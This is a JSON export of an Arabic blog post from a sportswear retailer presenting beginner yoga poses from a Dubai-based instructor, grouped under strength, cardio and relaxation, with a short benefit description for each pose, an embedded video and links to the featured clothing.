{"id":5876,"date":"2016-03-07T15:13:42","date_gmt":"2016-03-07T11:13:42","guid":{"rendered":"https:\/\/become.sssports.com\/ar\/?p=5876"},"modified":"2019-10-02T03:07:28","modified_gmt":"2019-10-01T23:07:28","slug":"yoga-for-beginners-with-laura-farrier","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/yoga-for-beginners-with-laura-farrier\/","title":{"rendered":"\u0627\u0644\u064a\u0648\u062c\u0627 \u0644\u0644\u0645\u0628\u062a\u062f\u0626\u064a\u0646 \u0645\u0639 &#8220;\u0644\u0648\u0631\u0627 \u0641\u0627\u0631\u064a\u0631&#8221;"},"content":{"rendered":"<p>\u062a\u0623\u062e\u0630 \u0645\u0645\u0627\u0631\u0633\u0629 \u0631\u064a\u0627\u0636\u0629 \u0627\u0644\u064a\u0648\u062c\u0627 \u0623\u0646\u0645\u0627\u0637\u0627\u064b \u0645\u062e\u062a\u0644\u0641\u0629 \u0644\u062a\u0643\u0645\u0644 \u0623\u0633\u0644\u0648\u0628 \u062d\u064a\u0627\u062a\u0643 \u0628\u0637\u0631\u0642 \u0639\u062f\u064a\u062f\u0629\u060c \u0633\u0648\u0627\u0621 \u0643\u0646\u062a \u062a\u0628\u062d\u062b \u0639\u0646 \u0637\u0631\u064a\u0642\u0629 \u0644\u062a\u0639\u0632\u064a\u0632 \u0642\u0648\u0651\u062a\u0643 \u0641\u064a \u0645\u0646\u0627\u0637\u0642 \u0645\u0639\u064a\u0646\u0629 \u0645\u0646 \u0627\u0644\u062c\u0633\u0645\u060c \u0623\u0648 \u062a\u0633\u0639\u0649 \u0644\u062a\u0635\u0641\u064a\u0629 \u0630\u0647\u0646\u0643 \u0623\u0648 \u0644\u0625\u0636\u0627\u0641\u0629 \u0639\u0646\u0635\u0631 \u062f\u064a\u0646\u0627\u0645\u064a\u0643\u064a \u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0643\u0627\u0631\u062f\u064a\u0648 \u0627\u0644\u064a\u0648\u0645\u064a\u0629<span class=\"s1\">. <\/span>\u0645\u0647\u0645\u0627 \u0643\u0627\u0646 \u0647\u062f\u0641\u0643\u060c \u064a\u0645\u0643\u0646\u0643 \u0627\u0639\u062a\u0645\u0627\u062f \u0631\u064a\u0627\u0636\u0629 \u0627\u0644\u064a\u0648\u062c\u0627 \u0644\u062a\u062d\u0642\u064a\u0642\u0647 \u0623\u0648 \u0644\u062f\u0639\u0645\u0643 \u0641\u064a \u0627\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u064a\u0647\u060c \u0641\u0623\u0646\u062a \u0641\u0642\u0637 \u0628\u062d\u0627\u062c\u0629 \u0625\u0644\u0649 \u0645\u0639\u0631\u0641\u0629 \u0643\u064a\u0641\u064a\u0629 \u0627\u0644\u0642\u064a\u0627\u0645 \u0628\u0630\u0644\u0643<span class=\"s1\">.<\/span><\/p>\n<p>\u0644\u0630\u0644\u0643\u060c \u0642\u0645\u0646\u0627 \u0628\u0627\u0644\u062a\u0648\u0627\u0635\u0644 \u0645\u0639 \u0645\u062f\u0631\u0628\u0629 \u0627\u0644\u064a\u0648\u062c\u0627 \u0627\u0644\u0645\u0642\u064a\u0645\u0629 \u0641\u064a \u062f\u0628\u064a<span class=\"s1\"> &#8220;<\/span>\u0644\u0648\u0631\u0627 \u0641\u0627\u0631\u064a\u0631<span class=\"s1\">&#8221; \u0641\u064a \u0646\u0627\u062f\u064a \u0633\u064a\u0631\u0641 \u0647\u0627\u0648\u0633 \u062f\u0628\u064a\u00a0<\/span>\u0644\u062a\u0623\u062e\u0630\u0646\u0627 \u0641\u064a \u0633\u0644\u0633\u0644\u0629 \u0645\u0646 \u0627\u0644\u062d\u0631\u0643\u0627\u062a \u0627\u0644\u062a\u064a \u062a\u0638\u0647\u0631 \u0645\u062f\u0649 \u062a\u0646\u0648\u0639 \u0631\u064a\u0627\u0636\u0629 \u0627\u0644\u064a\u0648\u062c\u0627\u060c \u0645\u0639 \u0627\u0644\u062a\u0631\u0643\u064a\u0632 \u0639\u0644\u0649 \u062b\u0644\u0627\u062b\u0629 \u0639\u0646\u0627\u0635\u0631 \u0648\u0647\u064a<span class=\"s1\">: <\/span>\u0627\u0644\u062a\u0645\u0631\u064a\u0646\u060c \u0627\u0644\u0643\u0627\u0631\u062f\u064a\u0648\u060c \u0648\u0627\u0644\u0627\u0633\u062a\u0631\u062e\u0627\u0621<span class=\"s1\">. <\/span>\u0634\u0627\u0647\u062f \u0647\u0630\u0627 \u0627\u0644\u06a4\u064a\u062f\u064a\u0648 \u0627\u0644\u0645\u0631\u0641\u0642 \u062d\u064a\u062b \u062a\u0634\u0631\u062d \u0644\u0646\u0627 \u0644\u0648\u0631\u0627 \u0627\u0644\u062d\u0631\u0643\u0627\u062a \u0648\u0627\u0644\u0648\u0636\u0639\u064a\u0627\u062a \u0648\u0641\u0627\u0626\u062f\u0629 \u0643\u0644 \u0645\u0646\u0647\u0627 \u0639\u0644\u0649 \u0627\u0644\u062c\u0633\u0645\u060c \u0644\u064a\u0643\u0648\u0646 \u0645\u062b\u0627\u0644\u064a\u0627\u064b \u0644\u0644\u0647\u0648\u0627\u0629 \u0627\u0644\u062c\u062f\u062f \u0644\u0631\u064a\u0627\u0636\u0629 \u0627\u0644\u064a\u0648\u062c\u0627 \u0648\u0648\u0633\u064a\u0644\u0629 \u0631\u0627\u0626\u0639\u0629 \u0644\u0627\u0643\u062a\u0634\u0627\u0641 \u0633\u0644\u0633\u0644\u0629 \u0627\u0644\u064a\u0648\u062c\u0627 \u0644\u0644\u0645\u0628\u062a\u062f\u0626\u064a\u0646 \u0639\u0644\u0649 \u0645\u062f\u0648\u0651\u0646\u062a\u0646\u0627<span class=\"s1\">.<\/span><\/p>\n<p><iframe loading=\"lazy\" width=\"750\" height=\"422\" src=\"https:\/\/www.youtube.com\/embed\/v0RYuYrAuJg?feature=oembed&#038;enablejsapi=1&#038;origin=https:\/\/become.sssports.com\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p style=\"text-align: right;\"><strong>\u0627\u0644\u0623\u0644\u0628\u0633\u0629 \u062a\u0642\u062f\u0645\u0629:\u00a0<span data-sheets-value=\"[null,2,&quot;\\u0647\\u064a\\u0648\\u0645\\u0627\\u0646 \\u0628\\u064a\\u0631\\u0641\\u0648\\u0631\\u0645\\u0627\\u0646\\u0633 \\u0625\\u0646\\u062c\\u0646\\u064a\\u0631\\u064a\\u0646\\u062c&quot;]\" data-sheets-userformat=\"[null,null,513,[null,0],null,null,null,null,null,null,null,null,1]\"><a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/brands\/human-performance-engineering\" target=\"_blank\">\u0647\u064a\u0648\u0645\u0627\u0646 \u0628\u064a\u0631\u0641\u0648\u0631\u0645\u0627\u0646\u0633 \u0625\u0646\u062c\u0646\u064a\u0631\u064a\u0646\u062c<\/a><\/span><\/strong><\/p>\n<p style=\"text-align: right;\">\u0627\u0644\u0644\u0628\u0627\u0633 1 : <a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/human-performance-engineering-gravity-combat-bra-17699\" target=\"_blank\">\u062d\u0645\u0627\u0644\u0629 \u0627\u0644\u0635\u062f\u0631 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u062c\u0631\u0627\u06a4\u064a\u062a\u064a<\/a> \u0648 <a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/human-performance-engineering-combat-34-capri-17709\" target=\"_blank\">\u0633\u0631\u0648\u0627\u0644 \u0627\u0644\u0643\u0627\u0628\u0631\u064a \u0643\u0648\u0645\u0628\u0627\u062a \u0641\u0644\u0648\u0631\u0648 \u062c\u0631\u064a\u0646<\/a><\/p>\n<p style=\"text-align: right;\">\u0627\u0644\u0644\u0628\u0627\u0633 2\u00a0:<a style=\"line-height: 1.5;\" rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/human-performance-engineering-snake-bra-17701\" target=\"_blank\">\u062d\u0645\u0627\u0644\u0629 \u0627\u0644\u0635\u062f\u0631 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0633\u0646\u064a\u0643<\/a>\u00a0\u0648<a style=\"line-height: 1.5;\" rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/human-performance-engineering-snake-leggings-17704\" target=\"_blank\">\u0627\u0644\u0633\u0631\u0648\u0627\u0644 \u0627\u0644\u0636\u064a\u0642 \u0633\u0646\u064a\u0643<\/a><\/p>\n<h1 style=\"text-align: center;\"><strong><span class=\"s1\">\u00a0<\/span>\u0627\u0644\u0642\u0648\u0629<\/strong><\/h1>\n<h3 style=\"text-align: center;\"><strong>\u0627\u0644\u062d\u0631\u0643\u0629<span class=\"s1\">: <\/span>\u062a\u0634\u0627\u062a\u0648\u0631\u0627\u0646\u062c\u0627<span class=\"s1\"> \/ <\/span>\u0634\u062f \u0627\u0644\u062c\u0633\u0645<\/strong><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5952 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/03\/YOGA_LAURA_700x400_01.jpg\" alt=\"\u062a\u0634\u0627\u062a\u0648\u0631\u0627\u0646\u062c\u0627 \/ \u0634\u062f \u0627\u0644\u062c\u0633\u0645\" width=\"700\" height=\"400\" \/><\/p>\n<p style=\"text-align: right;\">\u0627\u0644\u0641\u0648\u0627\u0626\u062f<span class=\"s1\">: <\/span>\u062a\u0642\u0648\u0651\u064a \u0647\u0630\u0647 \u0627\u0644\u0648\u0636\u0639\u064a\u0629 \u0627\u0644\u062c\u0633\u0645 \u0628\u0623\u0643\u0645\u0644\u0647\u060c \u062d\u064a\u062b \u062a\u0648\u062c\u0651\u0647 \u062a\u0631\u0643\u064a\u0632\u0643 \u0648\u0648\u0639\u064a\u0643 \u0628\u0634\u0643\u0644 \u0645\u0628\u0627\u0634\u0631 \u0625\u0644\u0649 \u0627\u0644\u0628\u0637\u0646 \u0645\u0645\u0627 \u064a\u0633\u0627\u0639\u062f \u0639\u0644\u0649 \u0627\u0633\u062a\u0642\u0631\u0627\u0631 \u0639\u0645\u0648\u062f\u0643 \u0627\u0644\u0641\u0642\u0631\u064a \u0628\u0634\u062f \u062c\u0633\u0645\u0643 \u0628\u0623\u0643\u0645\u0644\u0647 \u0648\u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u0648\u0636\u0639\u064a\u0629 \u0627\u0644\u062a\u0645\u062f\u062f \u0645\u0646 \u0627\u0644\u0631\u0623\u0633 \u0648\u0625\u0644\u0649 \u0623\u062e\u0645\u0635 \u0627\u0644\u0642\u062f\u0645\u064a\u0646<span class=\"s1\">.<\/span><\/p>\n<h3 style=\"text-align: center;\"><strong>\u0627\u0644\u062d\u0631\u0643\u0629<span class=\"s1\">: <\/span>\u0627\u0644\u062f\u0644\u0641\u064a\u0646<\/strong><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-5954 size-full aligncenter\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/03\/YOGA_LAURA_700x400_02.jpg\" alt=\"Yoga For Beginners\" width=\"700\" height=\"400\" \/><\/p>\n<p style=\"text-align: right;\">\u0627\u0644\u0641\u0648\u0627\u0626\u062f<span class=\"s1\">: <\/span>\u062a\u0642\u0648\u0645 \u0648\u0636\u0639\u064a\u0629 \u0627\u0644\u062f\u0644\u0641\u064a\u0646 \u0628\u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u0623\u0639\u0644\u0649 \u0645\u0646 \u0627\u0644\u0638\u0647\u0631\u060c \u0645\u0645\u0627 \u064a\u0645\u0646\u062d \u0627\u0644\u0643\u062a\u0641\u064a\u0646 \u0627\u0633\u062a\u0642\u0631\u0627\u0631\u0627\u064b \u0648\u064a\u0648\u062c\u0651\u0647 \u0627\u0644\u062a\u0631\u0643\u064a\u0632 \u0646\u062d\u0648 \u0627\u0644\u0628\u0637\u0646 \u0643\u0645\u0631\u0643\u0632 \u0644\u062a\u0648\u0627\u0632\u0646 \u0627\u0644\u062c\u0633\u0645<span class=\"s1\">.<\/span><\/p>\n<h3 style=\"text-align: center;\"><strong>\u0627\u0644\u062d\u0631\u0643\u0629<span class=\"s1\">: <\/span>\u06a4\u0627\u064a\u0631\u0627\u0628\u0627\u062f\u0631\u0627\u0633\u0627\u0646\u0627<span class=\"s1\"> \/ <\/span>\u0648\u0636\u0639\u064a\u0629 \u0627\u0644\u0645\u062d\u0627\u0631\u0628 \u0627\u0644\u062b\u0627\u0644\u062b\u0629<\/strong><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-5956 size-full aligncenter\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/03\/YOGA_LAURA_700x400_03.jpg\" alt=\"Yoga For Beginners\" width=\"700\" height=\"400\" \/><\/p>\n<p style=\"text-align: right;\">\u0627\u0644\u0641\u0648\u0627\u0626\u062f<span class=\"s1\">: <\/span>\u062a\u0639\u0632\u0632 \u062d\u0631\u0643\u0629 \u0627\u0644\u0645\u062d\u0627\u0631\u0628 \u0627\u0644\u062b\u0627\u0644\u062b\u0629 \u0645\u0646 \u0627\u0644\u062a\u062d\u0643\u0645 \u0648\u062a\u0642\u0648\u064a\u0629 \u0642\u062f\u0631\u0629 \u0627\u0644\u0633\u0627\u0642 \u0639\u0644\u0649 \u0627\u0644\u0648\u0642\u0648\u0641 \u0648\u062f\u0639\u0645 \u0627\u0644\u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0642\u0627\u0628\u0636\u0629 \u0641\u064a \u0627\u0644\u0641\u062e\u0630 \u0648\u0627\u0644\u0633\u0627\u0642 \u0627\u0644\u0645\u0631\u0641\u0648\u0639\u0629<span class=\"s1\">. <\/span>\u062d\u064a\u062b \u062a\u0633\u0627\u0647\u0645 \u0647\u0630\u0647 \u0627\u0644\u062d\u0631\u0643\u0629 \u0641\u064a \u0625\u0637\u0627\u0644\u0629 \u0627\u0644\u0639\u0645\u0648\u062f \u0627\u0644\u0641\u0642\u0631\u064a \u0648\u062a\u0639\u0632\u0632 \u0645\u0646 \u0642\u0648\u0629 \u0648\u062b\u0628\u0627\u062a \u0627\u0644\u0633\u0627\u0642 \u0627\u0644\u062a\u064a \u062a\u0642\u0641 \u0639\u0644\u064a\u0647\u0627 \u0644\u062a\u062a\u0645\u0643\u0646 \u0645\u0646 \u0627\u0644\u062a\u062d\u0643\u0645 \u0628\u062d\u0631\u0643\u062a\u0643<span class=\"s1\">.<\/span><\/p>\n<h1 style=\"text-align: center;\"><strong><span class=\"s1\">\u00a0<\/span>\u0627\u0644\u0643\u0627\u0631\u062f\u064a\u0648<\/strong><\/h1>\n<h3 style=\"text-align: center;\"><strong>\u0627\u0644\u062d\u0631\u0643\u0629<span class=\"s1\">: <\/span>\u0633\u0648\u0631\u064a\u0627 \u0646\u0627\u0645\u0627\u0633\u0643\u0627\u0631<span class=\"s1\"> &#8220;<\/span>\u0623<span class=\"s1\">&#8221; <\/span>\u0648<span class=\"s1\">&#8220;<\/span>\u0628<span class=\"s1\">&#8220;<\/span><\/strong><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-5958 size-full aligncenter\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/03\/YOGA_LAURA_700x400_04.jpg\" alt=\"Yoga For Beginners\" width=\"700\" height=\"400\" \/><\/p>\n<p style=\"text-align: right;\">\u0627\u0644\u0641\u0648\u0627\u0626\u062f<span class=\"s1\">: <\/span>\u062a\u0639\u062a\u0628\u0631 \u0647\u0630\u0647 \u0627\u0644\u0633\u0644\u0633\u0644\u0629 \u0645\u0646 \u0627\u0644\u0648\u0636\u0639\u064a\u0627\u062a \u0643\u062a\u0645\u0631\u064a\u0646 \u0634\u0627\u0645\u0644 \u064a\u062c\u0644\u0628 \u0627\u0644\u062d\u0631\u0627\u0631\u0629 \u0625\u0644\u0649 \u062f\u0627\u062e\u0644 \u0627\u0644\u062c\u0633\u0645 \u0648\u064a\u0633\u0627\u0647\u0645 \u0641\u064a \u062a\u062d\u0642\u064a\u0642 \u0627\u0644\u062a\u0648\u0627\u0632\u0646 \u0628\u064a\u0646 \u0627\u0644\u0642\u0648\u0629 \u0648\u0627\u0644\u0645\u0631\u0648\u0646\u0629 \u0645\u0646 \u062c\u0647\u0629\u060c \u0648\u0628\u064a\u0646 \u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u0623\u064a\u0645\u0646 \u0648\u0627\u0644\u0623\u064a\u0633\u0631 \u0645\u0646 \u0627\u0644\u062c\u0633\u0645 \u0645\u0646 \u062c\u0647\u0629 \u0623\u062e\u0631\u0649<span class=\"s1\">. <\/span>\u0642\u062f \u064a\u0628\u062f\u0648 \u0630\u0644\u0643 \u0623\u0645\u0631\u0627\u064b \u0628\u0633\u064a\u0637\u0627\u064b\u060c \u0648\u0644\u0643\u0646 \u062a\u062d\u0642\u064a\u0642 \u0627\u0644\u062a\u062d\u0643\u0645 \u0627\u0644\u0643\u0627\u0645\u0644 \u0628\u0627\u0644\u062c\u0633\u0645 \u064a\u062a\u0637\u0644\u0628 \u0642\u0648\u0629 \u0643\u0628\u064a\u0631\u0629 \u0648\u062a\u0643\u0631\u0627\u0631\u064d \u0644\u0644\u062d\u0631\u0643\u0627\u062a \u0644\u062a\u0643\u0648\u0646 \u0623\u0643\u062b\u0631 \u062a\u062d\u062f\u064a\u0627\u064b \u0648\u0635\u0639\u0648\u0628\u0629\u060c \u0648\u0647\u0630\u0627 \u0645\u0627 \u064a\u062c\u0639\u0644\u0647\u0627 \u0625\u0636\u0627\u0641\u0629 \u0645\u0645\u064a\u0632\u0629 \u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0643\u0627\u0631\u062f\u064a\u0648 \u0636\u0645\u0646 \u0628\u0631\u0646\u0627\u0645\u062c \u0627\u0644\u064a\u0648\u062c\u0627 \u0627\u0644\u064a\u0648\u0645\u064a \u0627\u0644\u062e\u0627\u0635 \u0628\u0643<span class=\"s1\">.<\/span><\/p>\n<h1 style=\"text-align: center;\"><strong><span class=\"s1\">\u00a0<\/span>\u0627\u0644\u0627\u0633\u062a\u0631\u062e\u0627\u0621<\/strong><\/h1>\n<h3 style=\"text-align: center;\"><strong>\u0627\u0644\u062d\u0631\u0643\u0629<span class=\"s1\">: <\/span>\u0622\u062f\u0648 \u0645\u0648\u0643\u0627 \u0633\u06a4\u0627\u0646\u0627\u0633\u0627\u0646\u0627<span class=\"s1\"> \/ <\/span>\u0625\u0646\u062d\u0646\u0627\u0621\u0629 \u062f\u0627\u0648\u0646\u062f\u0648\u062c<\/strong><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-5960 size-full aligncenter\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/03\/YOGA_LAURA_700x400_05.jpg\" alt=\"Yoga For Beginners\" width=\"700\" height=\"400\" \/><\/p>\n<p style=\"text-align: right;\">\u0627\u0644\u0641\u0648\u0627\u0626\u062f<span class=\"s1\">: <\/span>\u062a\u0642\u0648\u0645 \u0647\u0630\u0647 \u0627\u0644\u0648\u0636\u0639\u064a\u0629 \u0628\u0634\u062f \u0627\u0644\u0639\u0645\u0648\u062f \u0627\u0644\u0641\u0642\u0631\u064a \u0648\u0623\u0648\u062a\u0627\u0631 \u0627\u0644\u0631\u0643\u0628\u0629 \u0644\u062a\u062d\u0642\u064a\u0642 \u062a\u0645\u062f\u0651\u062f \u0643\u0628\u064a\u0631 \u062d\u0642\u0627\u064b<span class=\"s1\">. <\/span>\u0643\u0645\u0627 \u062a\u0642\u0648\u0645 \u0628\u0641\u0631\u062f \u0627\u0644\u0643\u062a\u0641\u064a\u0646 \u0645\u0645\u0627 \u064a\u062e\u0644\u0642 \u0634\u0639\u0648\u0631\u0627\u064b \u0628\u0627\u0644\u0645\u0633\u0627\u062d\u0629 \u0648\u0627\u0644\u0627\u0646\u0641\u062a\u0627\u062d \u0641\u064a \u0627\u0644\u062c\u0633\u0645 \u0648\u0628\u0627\u0644\u062a\u0627\u0644\u064a \u0627\u0633\u062a\u0631\u062e\u0627\u0621\u064b \u064a\u0628\u0639\u062f \u0627\u0644\u062a\u0648\u062a\u0631 \u0639\u0646\u0643<span class=\"s1\">.<\/span><\/p>\n<h3 style=\"text-align: center;\"><strong>\u0627\u0644\u062d\u0631\u0643\u0629<span class=\"s1\">: <\/span>\u0628\u0627\u0644\u0627\u0633\u0627\u0646\u0627<span class=\"s1\"> \/ <\/span>\u0648\u0636\u0639\u064a\u0629 \u0627\u0644\u0637\u0641\u0644<\/strong><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-5962 size-full aligncenter\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/03\/YOGA_LAURA_700x400_06.jpg\" alt=\"Yoga For Beginners\" width=\"700\" height=\"400\" \/><\/p>\n<p style=\"text-align: right;\">\u0627\u0644\u0641\u0648\u0627\u0626\u062f<span class=\"s1\">: <\/span>\u062a\u0639\u062a\u0628\u0631 \u062d\u0631\u0643\u0629 \u0627\u0644\u0637\u0641\u0644 \u0648\u0636\u0639\u064a\u0629 \u0623\u0633\u0627\u0633\u064a\u0629 \u0644\u0644\u0627\u0633\u062a\u0631\u062e\u0627\u0621 \u0643\u0648\u0646\u0647\u0627 \u062a\u0645\u0646\u062d \u062c\u0633\u0645\u0643 \u0627\u0644\u0648\u0642\u062a \u0644\u064a\u0646\u0627\u0644 \u0627\u0644\u0631\u0627\u062d\u0629 \u062e\u0644\u0627\u0644 \u0648\u0628\u0639\u062f \u0641\u062a\u0631\u0629 \u0627\u0644\u062a\u0645\u0631\u064a\u0646<span class=\"s1\">. <\/span>\u0641\u0647\u064a \u062a\u0639\u0648\u062f \u0628\u0627\u0644\u0639\u0645\u0648\u062f \u0627\u0644\u0641\u0642\u0631\u064a \u0644\u0627\u0646\u062d\u0646\u0627\u0626\u0647 \u0627\u0644\u0637\u0628\u064a\u0639\u064a \u0648\u062a\u0631\u062e\u064a \u0623\u0633\u0641\u0644 \u0627\u0644\u0638\u0647\u0631 \u0648\u062a\u0645\u0646\u062d \u0647\u062f\u0648\u0621\u0627\u064b \u0623\u0643\u0628\u0631 \u0644\u0644\u0639\u0642\u0644<span class=\"s1\">.<\/span><\/p>\n<h3 style=\"text-align: center;\"><strong>\u0627\u0644\u062d\u0631\u0643\u0629<span class=\"s1\">: <\/span>\u0633\u0648\u0643\u0627\u0633\u0627\u0646\u0627<span class=\"s1\"> \/ <\/span>\u0648\u0636\u0639\u064a\u0629 \u0627\u0644\u062c\u0644\u0648\u0633<\/strong><\/h3>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-5964 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/03\/YOGA_LAURA_700x400_07.jpg\" alt=\"Yoga For Beginners\" width=\"700\" height=\"400\" \/><\/p>\n<p style=\"text-align: right;\">\u0627\u0644\u0641\u0648\u0627\u0626\u062f<span class=\"s1\">: <\/span>\u062a\u0645\u0646\u062d \u0647\u0630\u0647 \u0627\u0644\u062d\u0631\u0643\u0629 \u0648\u0636\u0639\u064a\u0629 \u0648\u0627\u0633\u062a\u0642\u0627\u0645\u0629 \u0623\u0641\u0636\u0644 \u0644\u0644\u062c\u0633\u0645 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0639\u0645\u0648\u062f\u0647 \u0627\u0644\u0641\u0642\u0631\u064a<span class=\"s1\">. <\/span>\u0648\u0647\u064a \u0648\u0636\u0639\u064a\u0629 \u0628\u0633\u064a\u0637\u0629 \u062a\u0633\u0645\u062d \u0628\u062a\u0631\u0643\u064a\u0632 \u0623\u0642\u0631\u0628 \u0644\u0646\u0645\u0637 \u0627\u0644\u062a\u0646\u0641\u0633\u060c \u0648\u0647\u0648 \u0645\u0627 \u064a\u0639\u062a\u0628\u0631 \u062c\u0632\u0621\u0627\u064b \u0623\u0633\u0627\u0633\u064a\u0627\u064b \u0645\u0646 \u0631\u064a\u0627\u0636\u0629 \u0627\u0644\u064a\u0648\u062c\u0627\u060c \u062d\u064a\u062b \u064a\u062a\u062d\u0643\u0645 \u0646\u0645\u0637 \u0627\u0644\u062a\u0646\u0641\u0633 \u0628\u062d\u0631\u0643\u062a\u0643 \u0648\u064a\u0633\u0627\u0647\u0645 \u0641\u064a \u0646\u062c\u0627\u062d\u0647\u0627 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0633\u0644\u0633\u0644\u0629 \u0645\u0646 \u0627\u0644\u062d\u0631\u0643\u0627\u062a<span class=\"s1\">.<\/span><\/p>\n<h3 style=\"text-align: center;\"><strong>\u0627\u0644\u062d\u0631\u0643\u0629<span class=\"s1\">: <\/span>\u0633\u0627\u06a4\u0627\u0633\u0627\u0646\u0627<span class=\"s1\"> \/ <\/span>\u0648\u0636\u0639\u064a\u0629 \u0627\u0644\u0627\u0633\u062a\u0644\u0642\u0627\u0621 \u0627\u0644\u062b\u0627\u0628\u062a<\/strong><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-5966 size-full aligncenter\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/03\/YOGA_LAURA_700x400_08.jpg\" alt=\"Yoga For Beginners\" width=\"700\" height=\"400\" \/><\/p>\n<p style=\"text-align: right;\">\u0627\u0644\u0641\u0648\u0627\u0626\u062f<span class=\"s1\">: <\/span>\u0625\u0646\u0647\u0627 \u0627\u0644\u0648\u0636\u0639\u064a\u0629 \u0627\u0644\u0645\u0641\u0636\u0644\u0629 \u0644\u062f\u064a \u0627\u0644\u062c\u0645\u064a\u0639 \u0639\u0646\u062f \u062e\u062a\u0627\u0645 \u062c\u0644\u0633\u0629 \u0645\u0643\u062b\u0641\u0629\u060c \u0648\u0630\u0644\u0643 \u0644\u0623\u0646\u0647\u0627 \u062a\u0634\u062c\u0639 \u0639\u0644\u0649 \u0627\u0633\u062a\u0631\u062e\u0627\u0621 \u0627\u0644\u062c\u0633\u0645 \u0648\u062a\u062e\u0641\u0641 \u0645\u0646 \u062a\u0631\u0627\u0643\u0645 \u062d\u0645\u0636 \u0627\u0644\u0644\u0628\u0646\u064a\u0643 \u0648\u0628\u0627\u0644\u062a\u0627\u0644\u064a \u062a\u062d\u062f \u0645\u0646 \u0627\u0644\u0622\u0644\u0627\u0645 \u0627\u0644\u0639\u0636\u0644\u064a\u0629 \u0627\u0644\u0646\u0627\u062a\u062c\u0629 \u0639\u0646 \u0627\u0644\u062a\u0645\u0631\u064a\u0646<span class=\"s1\">.<\/span><\/p>\n<p style=\"text-align: right;\">\u0625\u0646 \u0648\u062c\u062f\u062a \u0647\u0630\u0647 \u0627\u0644\u0623\u0641\u0643\u0627\u0631 \u0645\u0645\u062a\u0639\u0629\u060c \u0628\u0625\u0645\u0643\u0627\u0646\u0643 \u0645\u062a\u0627\u0628\u0639\u0629 \u0633\u0644\u0633\u0644\u062a\u0646\u0627 \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0631\u064a\u0627\u0636\u0629 \u0627\u0644\u064a\u0648\u062c\u0627\u060c \u0645\u0646 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0645\u0628\u062a\u062f\u0626\u064a\u0646 \u0648\u0625\u0644\u0649 \u0623\u0641\u0636\u0644 \u0627\u0644\u0623\u0644\u0628\u0633\u0629 \u0627\u0644\u0645\u0646\u0627\u0633\u0628\u0629 \u0644\u062a\u0645\u0631\u064a\u0646\u0627\u062a\u0643 \u0627\u0644\u0645\u0642\u0628\u0644\u0629<span class=\"s1\">. <\/span>\u0627\u0643\u062a\u0634\u0641 <a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/sports\/yoga\" target=\"_blank\">\u0635\u0641\u062d\u0629 \u0627\u0644\u064a\u0648\u062c\u0627<\/a> \u0639\u0644\u0649 \u0645\u0648\u0642\u0639\u0646\u0627 \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u064a \u0644\u0627\u0633\u062a\u0639\u0631\u0627\u0636 \u0623\u062d\u062f\u062b \u0623\u0644\u0628\u0633\u0629 \u0648\u0645\u0639\u062f\u0651\u0627\u062a \u0627\u0644\u064a\u0648\u062c\u0627 \u0644\u062a\u0643\u0645\u0644 \u0628\u0647\u0627 \u062a\u0645\u0627\u0631\u064a\u0646\u0643 \u0627\u0644\u064a\u0648\u0645\u064a\u0629<span class=\"s1\">.<\/span><\/p>\n<p class=\"p1\" dir=\"rtl\"><span class=\"s1\">\u062a\u0627\u0628\u0639\u064a<\/span>\u00a0<span class=\"s1\">\u0633\u0644\u0633\u062a\u0646\u0627<\/span> <span class=\"s1\">\u0627\u0644\u062e\u0627\u0635\u0629<\/span> <span class=\"s1\">\u0628\u0627\u0644\u064a\u0648\u062c\u0627<\/span> <span class=\"s1\">\u0628\u0645\u0648\u0627\u0636\u064a\u0639\u0647\u0627 \u0627\u0644\u062a\u0627\u0644\u064a\u0629<\/span><span class=\"s3\">:<\/span><\/p>\n<p class=\"p1\" dir=\"rtl\"><strong><span class=\"s1\">\u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u0623\u0648\u0644<\/span><span class=\"s3\">:<\/span><span class=\"s1\"> \u0627\u0644\u064a\u0648\u062c\u0627<\/span> <span class=\"s1\">\u0644\u0644\u0645\u0628\u062a\u062f\u0626\u064a\u0646<\/span> <span class=\"s1\">\u0645\u0639<\/span><span class=\"s3\"> \u201c<\/span><span 